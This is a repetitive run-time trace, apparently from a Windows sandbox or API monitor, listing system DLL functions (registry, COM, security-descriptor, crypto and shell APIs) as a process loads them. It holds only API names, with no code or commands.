DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: mscoreei.dll/RegisterShimImplCallback
DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
DynamicLoader: mscoreei.dll/SetShellShimInstance
DynamicLoader: mscoreei.dll/OnShimDllMainCalled
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx_RetAddr
DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
DynamicLoader: SHLWAPI.dll/UrlIsW
DynamicLoader: kernel32.dll/GetCurrentPackageId
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorDacl
DynamicLoader: ADVAPI32.dll/IsTextUnicode
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: shell32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ole32.dll/CoUninitialize
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ntdll.dll/RtlDllShutdownInProgress
DynamicLoader: LINKINFO.dll/IsValidLinkInfo
DynamicLoader: propsys.dll/
DynamicLoader: propsys.dll/PSGetNameFromPropertyKey
DynamicLoader: propsys.dll/PSStringFromPropertyKey
DynamicLoader: propsys.dll/InitVariantFromBuffer
DynamicLoader: OLEAUT32.dll/
DynamicLoader: propsys.dll/PropVariantToGUID
DynamicLoader: ole32.dll/PropVariantClear
DynamicLoader: propsys.dll/PSCreateMemoryPropertyStore
DynamicLoader: sechost.dll/ConvertSidToStringSidW
DynamicLoader: profapi.dll/
DynamicLoader: LINKINFO.dll/CreateLinkInfoW
DynamicLoader: USER32.dll/IsCharAlphaW
DynamicLoader: USER32.dll/CharPrevW
DynamicLoader: ntshrui.dll/GetNetResourceFromLocalPathW
DynamicLoader: srvcli.dll/NetShareEnum
DynamicLoader: cscapi.dll/CscNetApiGetInterface
DynamicLoader: slc.dll/SLGetWindowsInformationDWORD
DynamicLoader: SHLWAPI.dll/PathRemoveFileSpecW
DynamicLoader: LINKINFO.dll/DestroyLinkInfo
DynamicLoader: propsys.dll/PropVariantToBoolean
DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
DynamicLoader: CRYPTSP.dll/CryptGenRandom
DynamicLoader: CRYPTSP.dll/CryptReleaseContext
DynamicLoader: ADVAPI32.dll/GetSecurityInfo
DynamicLoader: ADVAPI32.dll/SetSecurityInfo
DynamicLoader: ADVAPI32.dll/GetSecurityDescriptorControl
DynamicLoader: ole32.dll/CoRevokeInitializeSpy
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
DynamicLoader: ADVAPI32.dll/RegEnumValueW
DynamicLoader: ADVAPI32.dll/RegCloseKey
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
DynamicLoader: mscoree.dll/
DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
DynamicLoader: ADVAPI32.dll/RegQueryValueExW
